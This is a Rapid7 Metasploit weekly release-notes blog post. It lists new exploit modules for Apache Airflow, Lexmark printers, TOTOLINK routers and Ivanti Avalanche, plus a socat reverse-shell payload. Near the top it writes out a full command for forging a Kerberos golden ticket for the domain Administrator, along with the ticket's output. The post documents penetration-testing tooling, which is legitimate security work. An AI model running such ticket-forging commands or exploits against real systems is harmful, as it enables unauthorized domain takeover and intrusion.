Rapid 7 - Metasploit Weekly Wrap-Up

Improved Ticket Forging

Metasploit’s admin/kerberos/forge_ticket module has been updated to work with Server 2022. In Windows Server 2022, Microsoft started requiring additional new PAC elements to be present - the PAC requestor and PAC attributes. The newly forged tickets will have the necessary elements added automatically based on the user provided domain SID and user RID. For example:

msf6 auxiliary(admin/kerberos/forge_ticket) > run aes_key=4a52b73cf37ba06cf693c40f352e2f4d2002ef61f6031f64924fb50be1e23978 domain_sid=S-1-5-21-1242350107-3695253863-3717863007 USER_RID=500 domain=demo.local user=Administrator action=FORGE_GOLDEN

[*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230915213733_default_unknown_mit.kerberos.cca_219182.bin
[*] Primary Principal: Administrator@DEMO.LOCAL
Ccache version: 4

....
            Pac Requestor:
              SID: S-1-5-21-1242350107-3695253863-3717863007-500
            Pac Attributes:
              Flag length: 2
              Flags: 1
                .... .... .... .... .... .... .... ..0. Pac Was Requested: The PAC_WAS_REQUESTED bit is NOT SET
                .... .... .... .... .... .... .... ...1 Pac Was Given Implicitly: The PAC_WAS_GIVEN_IMPLICITLY bit is SET
            Pac Server Checksum:
              Signature: 1f94f52598b37bb9cf7e3995
            Pac Privilege Server Checksum:
              Signature: 79ec20b7d4b8e77e5c056563

The domain SID and user RIDs can be obtained using the auxiliary/gather/ldap_query module with the ENUM_DOMAIN and ENUM_ACCOUNTS actions.

New module content (5)

Apache Airflow 1.10.10 - Example DAG Remote Code Execution

Authors: Ismail E. Dawoodjee, Pepe Berba, and xuxiang
Type: Exploit
Pull request: #18283 contributed by ismaildawoodjee
Path: linux/http/apache_airflow_dag_rce

Description: This module exploits an unauthenticated command injection vulnerability by combining two critical vulnerabilities in Apache Airflow 1.10.10. The first, CVE-2020-11978, is an authenticated command injection vulnerability found in one of Airflow's example DAGs, example_trigger_target_dag, which allows any authenticated user to run arbitrary OS commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's Experimental REST API to perform malicious actions such as creating the vulnerable DAG above.

Lexmark Device Embedded Web Server RCE

Authors: James Horseman, Zach Hanley, and jheysel-r7
Type: Exploit
Pull request: #18333 contributed by jheysel-r7
Path: linux/http/lexmark_faxtrace_settings

Description: This adds an exploit module that leverages an unauthenticated remote code execution vulnerability in certain Lexmark devices through 2023-02-19. This vulnerability (CVE-2023-26068) is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked if they would like to add an Admin user.

TOTOLINK Wireless Routers unauthenticated remote command execution vulnerability

Authors: Kazamayc https://github.com/Kazamayc and h00die-gr3y h00die.gr3y@gmail.com
Type: Exploit
Pull request: #18365 contributed by h00die-gr3y
Path: linux/http/totolink_unauth_rce_cve_2023_30013

Description: This adds an exploit module that leverages a command insertion vulnerability in TOTOLINK X5000R Wireless Gigabit Router firmware X5000R_V9.1.0u.6118_B20201102. This allows remote code execution as the user running the webserver. This user is typically the root user.

Ivanti Avalanche MDM Buffer Overflow

Authors: A researcher at Tenable and Ege BALCI egebalci <Ege BALCI egebalci@pm.me>
Type: Exploit
Pull request: #18321 contributed by EgeBalci
Path: windows/misc/ivanti_avalanche_mdm_bof

Description: This PR adds an exploit module that targets Ivanti Avalanche MDM versions before v6.4.1, leveraging a buffer overflow condition.

Unix Command Shell, Reverse TCP (via socat)

Author: jheysel-r7
Type: Payload (Single)
Pull request: #18333 contributed by jheysel-r7
Path: cmd/unix/reverse_socat_tcp

Enhancements and features (5)

#18294 from zgoldman-r7 - Improves error messages when failing to interact with a network interface such as calling set LHOST=.
#18358 from zeroSteiner - This adds a new ThriftClient class for interacting with Thrift RPC services. It also updates the two existing Metasploit modules to use it.
#18361 from cgranleese-r7 - Updates the search command with additional the search keywords stage: :stager: and adapter:.
#18374 from h00die - Fixes a bug in 7 modules which specified the RelatedModules metadata incorrectly. Now the RelatedModules data is correctly shown to the user when running the info command.
#18377 from ErikWynter - This change adds a check to the smtp_relay auxiliary/scanner/smtp/smtp_relay scanner module to confirm if the EHLO command is supported by the server. If not, the module will try to initiate the session using the HELO command instead.

Bugs fixed (4)

#18359 from smashery - Updates the admin/kerberos/forge_ticket module to work with newer Windows Server releases, in particular post Windows Server October 2022. Now, when forging Golden tickets, the forged PAC contains a PAC requestor element with the forged user SID, and additional PAC attributes.
#18369 from adfoster-r7 - This PR fixes a crash with OptAddressLocal that was caused by darwin AF_LINK having an empty string for its addr.
#18370 from adfoster-r7 - This PR fixes an issue where msfrpc would hang when updating saved command history.
#18378 from adfoster-r7 - Removes fremaining debug logging from Prometheus Exporter.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

from Rapid7 Cybersecurity Blog https://blog.rapid7.com/2023/09/22/metasploit-weekly-wrap-up-28/

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